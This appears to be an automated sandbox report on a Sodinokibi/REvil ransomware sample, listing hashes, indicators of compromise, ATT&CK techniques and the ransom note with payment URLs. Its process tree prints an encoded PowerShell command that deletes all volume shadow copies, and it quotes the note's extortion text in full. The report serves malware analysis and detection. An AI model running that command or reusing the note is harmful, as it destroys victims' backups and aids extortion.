sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
147s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
21-04-2024 05:45

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

2756f86ef462729bd072ef2d05f00f54
SHA1

b074e97c19bc69d39c235c763675b492e2e216f1
SHA256

38beb0ea97e3c5758b4839b8874d552a6ddce7bcde77986c62bf49041e229bc6
SHA512

9c6a618870ebb1a50bd647f26327d4ab25905c8d438e1f71be87f343e91d58c0e4683afeefc7f725b091cb1a47b5e7fa30d99402fb4296a88e8a5b138ef62d14
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFf9eRIL8nmm:veoUeZR2TRCWQFf9eR

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\2nr0cta21m-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 2nr0cta21m. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2646B824A8CE36A3 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/2646B824A8CE36A3 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: PGHKuCLMbPS2LZsPB3MFcB+SY26srn0AmmpJJPhvcSEoS2i1ZiULqgjC3pGbgjjs UrH7dQ2643gYX542DTp/Fcg8DW5mSJZLgvQT0eizXrbtnBrpySHrHqSu/IRZOToz 2CKfFMNaH7rc9XoPs3KrkRg2czIk6ypIngaV2SkXtTVugIhdYJIbi5zEj33QESlH 09R7LOJmYVwKhxRQ/pww1/O+ratwvY9IcGF2jjqR1I520WYJhACU94N4E3Vqu7m9 f5kaJpceeIm4fr3Hwxnge57CuCVyAt8PaXflzQi7b+lZWEhYHUkf89PkwnW5B4JL BrIlQM+5AS4Jrj7kMVKseqxcHQ5IDmklz+EUQUKz1djjfOJpAeGlVzQH0we//I0q q6enwajHAqLiiDoDOa22sRXHf37BG5F/ewqh54hEzcEH6HrKOhK2mi6NL+58NNGt PRjFatGk5aocK6i/U0CX4PmizdPlVqnUacup4XVFf0QxcBWhYrUx2sv9Jo2fUZtk Qd29ceg6Ny2npubmwpK9g8yD/LQoMbzQ9URmW3YXF2Rjh94p5B5ABoznYqLtu7Bp LIeJeC3oOx+/H/MuxY16RXhIYJwFnarT+cvmKEvbu7xtT1d5H+SrjfFZuLQAzhw+ kOA/ffp2+D6EHpeaIGTYxrHv/4FxUixzwj9ILpHvBpEQuHafxSaP921avahbcXJi hz12Uk5DFwHhWt5CHz4J7Yi1fs+5sjI7MqLiBQuB1nZURuTFhp7/UVKHaS1N4b4d sclI5AmcUPUBeeu4KmFIKR4M7YOnzrd5TrJWLfA7XM7rmj8O6QGx4aOyGTOBCDis VQwSVBDYq/XLsnKgza4sZG51TUCF8MDTlw+IyD4C5ERnuL1wiTaUuAguQ79sFSyN kC0z5wRNOjSWgywut0NqmcxcEGc+GG/vu7HmoZaNtStYEIg/I8BE+p3ECIHsA5jy dImP2S2Flo47061FEAXl+t//NTES3iZ2uaMKAvHXhndfqessUBy/Ypp4x9Bpc/Zh La2TzQOFplY6ErRCs6HM0U25X19+Mw/hm3KWyrPrrxgCHdXxFSWloEnlVuD8hXJR a41UAOHd2moNqk6Yp++Lhi2Z7d7MJR5cuB7Z88LVWAAma9BwtbfLgO1drQ8DuvxX wDSRQ7HqgFJkh+YWuZahNM39YzDDvaJAzZAK9/2bWzEvlT70qx88T7WJmi5xgWO0 DlYb0UQpUn7q6UPgTgT1ynmzbbNmutq5MC8= Extension name: 2nr0cta21m ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2646B824A8CE36A3

http://decryptor.top/2646B824A8CE36A3

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe

Drops file in Program Files directory 20 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\AssertGet.zip	rundll32.exe
File opened for modification	\??\c:\program files\RedoPush.xsl	rundll32.exe
File opened for modification	\??\c:\program files\ResizeUse.dotx	rundll32.exe
File opened for modification	\??\c:\program files\SubmitReceive.clr	rundll32.exe
File opened for modification	\??\c:\program files\SwitchPublish.M2V	rundll32.exe
File created	\??\c:\program files\2nr0cta21m-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\2nr0cta21m-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\BackupEnter.vst	rundll32.exe
File opened for modification	\??\c:\program files\ClearUnlock.contact	rundll32.exe
File opened for modification	\??\c:\program files\PopUnpublish.au3	rundll32.exe
File opened for modification	\??\c:\program files\PublishUnpublish.ex_	rundll32.exe
File opened for modification	\??\c:\program files\SelectBlock.AAC	rundll32.exe
File opened for modification	\??\c:\program files\MoveGrant.tiff	rundll32.exe
File opened for modification	\??\c:\program files\ClearSkip.mpp	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectRegister.mhtml	rundll32.exe
File opened for modification	\??\c:\program files\ImportDisable.potm	rundll32.exe
File opened for modification	\??\c:\program files\InstallExpand.mpg	rundll32.exe
File opened for modification	\??\c:\program files\ResolveCompress.ini	rundll32.exe
File opened for modification	\??\c:\program files\RestoreSwitch.vst	rundll32.exe
File opened for modification	\??\c:\program files\SuspendRequest.png	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
1004	rundll32.exe
1004	rundll32.exe
4780	powershell.exe
4780	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	1004	rundll32.exe
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeBackupPrivilege	4500	vssvc.exe
Token: SeRestorePrivilege	4500	vssvc.exe
Token: SeAuditPrivilege	4500	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 2588 wrote to memory of 1004	2588	rundll32.exe	79
PID 2588 wrote to memory of 1004	2588	rundll32.exe	79
PID 2588 wrote to memory of 1004	2588	rundll32.exe	79
PID 1004 wrote to memory of 4780	1004	rundll32.exe	81
PID 1004 wrote to memory of 4780	1004	rundll32.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4780

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\2nr0cta21m-readme.txt

Filesize
6KB

MD5
5d470a53f419c06d3852d0d0764f9780

SHA1
8b5dd69df70bcd79dd720076474256a4c942ccb8

SHA256
c14ac9130d9a7fc266b5c1c9d4be911204fea2d83260e5dd1824da57eae9f772

SHA512
76f4f9551baf56648f834e716fcf8b9daf61c2c1735516d6885597384e01f365f62cf9a7e828af7c5e4223ae3a12f35acd2ff7134f5fa068b67e57e52bbe62b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jorkgkp2.d43.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4780-5-0x000001E6F28D0000-0x000001E6F28F2000-memory.dmp

Filesize
136KB

Download
memory/4780-12-0x000001E6F2A70000-0x000001E6F2A80000-memory.dmp

Filesize
64KB

Download
memory/4780-11-0x000001E6F2A70000-0x000001E6F2A80000-memory.dmp

Filesize
64KB

Download
memory/4780-10-0x000001E6F2A70000-0x000001E6F2A80000-memory.dmp

Filesize
64KB

Download
memory/4780-9-0x00007FFED81B0000-0x00007FFED8C72000-memory.dmp

Filesize
10.8MB

Download
memory/4780-15-0x00007FFED81B0000-0x00007FFED8C72000-memory.dmp

Filesize
10.8MB

Download